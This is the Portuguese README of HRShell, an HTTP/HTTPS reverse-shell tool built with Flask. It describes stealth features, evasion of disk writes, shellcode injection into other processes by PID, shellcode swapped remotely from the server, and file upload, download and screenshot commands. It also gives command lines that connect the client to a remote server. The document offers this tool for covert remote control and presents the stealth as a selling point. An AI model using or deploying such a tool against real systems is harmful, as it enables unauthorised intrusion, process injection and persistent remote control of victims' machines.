HRShell

HRShell é um reverse shell HTTPS/HTTP construído com Flask e é compatível com python 3.x. O client.py foi testado com sucesso em:

• Linux ubuntu 18.04 LTS, Kali Linux 2019.3
• macOS Mojave/Catalina
• Windows 7/10

enquanto o server.py é compatível com sistemas Unix (suporte para Windows em breve...)

Features

• É furtivo
• Suporte a TLS 🔑
  • Usando certificados on-the-fly ou
  • Especificando um par cert/key (mais detalhes abaixo...)
• Injeção de shellcode 💉 (mais detalhes abaixo...)
  • Injeção de shellcode em uma thread/processo gerado do processo atual em execução
    • Plataformas suportadas até agora:
      • Windows x86
      • Unix x86
      • Unix x64
  • ou injeção de shellcode em outro processo (migrate <PID>) especificando seu PID
    • Plataformas suportadas até agora:
      • Windows x86
      • Windows x64
• Shellcode pode ser definido/modificado em tempo real a partir do servidor (mais detalhes abaixo...)
• Suporte a proxy no cliente.
• Navegação em diretórios (comando cd e variantes).
• Comando history interativo disponível em sistemas Unix.
• Comandos download/upload/screenshot/hex disponíveis.
• Pipelining (|) e comandos encadeados (;) são suportados
• Suporte para todos os comandos não interativos (como gdb, top etc...)
• O servidor é capaz de HTTP e HTTPS.
• Ele vem com dois servidores embutidos 🌐 até agora... flask built-in e tornado-WSGI, enquanto também é compatível com outros servidores de produção como gunicorn e Nginx.
• Tanto server.py quanto client.py são facilmente extensíveis.
• Como a maior parte da funcionalidade vem do design de endpoints do servidor, é muito fácil escrever um cliente em qualquer outra linguagem por exemplo, java, GO etc...

_{*Para mudanças de versão, confira CHANGELOG.}

Details

---

Furtivo :shipit:

HRShell é furtivo pois usa o protocolo HTTP(S) como método de comunicação entre cliente e servidor. Além disso, quando TLS está em uso, o tráfego também é criptografado. Além disso, se o CERT não estiver codificado manualmente no lado do cliente (o que é uma opção viável) e o comando upload não for usado, então o client.py não toca no disco.

TLS 🔑

Server-side: A menos que a opção --http seja especificada, por padrão o server.py é HTTPS usando certificados on-the-fly, já que certificados on-the-fly são uma funcionalidade embutida do Flask. Mas se a opção -s tornado for especificada para fazer o servidor usar TLS, as opções --cert e --key devem ser especificadas como a seguir:

python server.py -s tornado --cert /path/cert.pem --key /path/key.pem

Ou podem ser usados certificados "reais" ou outra maneira de gerar um par cert/key é, por exemplo, usando mkcert ou openssl diretamente assim:

openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365

Um par cert/key também pode ser usado com o flask-server:

python server.py --cert /path/cert.pem --key /path/key.pem

⚠️ Se o servidor estiver usando TLS, por design o cliente não pode usar http://... para conectar ao servidor, mas deve usar explicitamente https.

Client-side: Por padrão, a verificação SSL do cliente está desabilitada, a menos que:

• o parâmetro --cert seja especificado, por exemplo:

  python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
  

• ou a variável CERT, em vez do valor padrão None, seja definida previamente com um certificado válido, por exemplo:

  CERT = """
  -----BEGIN CERTIFICATE-----
  MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
  BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
  VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
  ...
  -----END CERTIFICATE-----
  """
  

  Nesse caso, o client.py tentará criar um arquivo oculto .cert.pem em tempo real e o usará como alternativa.

⚠️ O fato de a verificação SSL estar desabilitada por padrão no cliente não significa que o TLS também está desabilitado, o TLS será ativado se o servidor o usar - então o TLS depende completamente do servidor. A opção --cert no cliente está lá apenas como uma forma alternativa de o servidor-cliente ter uma sessão criptografada e é só.

Shellcode injection 💉

Existem dois "modos" de injeção de shellcode usando os dois comandos a seguir respectivamente:

1. migrate <PID>: Usando este comando podemos injetar shellcode no espaço de memória de outro processo especificando seu PID. Por enquanto, este comando só pode ser aplicado em plataformas Windows x86/x64!

2. inject shellcode: Usando este comando, uma nova thread (ou processo gerado em sistemas unix) do nosso processo atual é criada e a injeção de shellcode ocorre em seu espaço de memória. Como resultado, nosso shell HTTP(S) não é afetado pela injeção. As plataformas onde este comando pode ser aplicado são: Unix x86/x64, Windows x86!

Notas

• Caso a injeção ocorra em um processo, as permissões do processo desempenham um papel muito importante. Nem sempre é possível injetar em qualquer processo devido à falta de privilégios adequados.

Definir/Modificar shellcode

Há duas maneiras de especificar/definir qual tipo de shellcode você deseja que o cliente execute:

• Pré-definir a variável shellcode no script client.py para ser um shellcode válido ou
• Usar o comando set shellcode <shellcode-id> para fazer isso em tempo real. Com este comando, você pode atualizar seu shellcode no lado do cliente a partir do servidor quantas vezes quiser!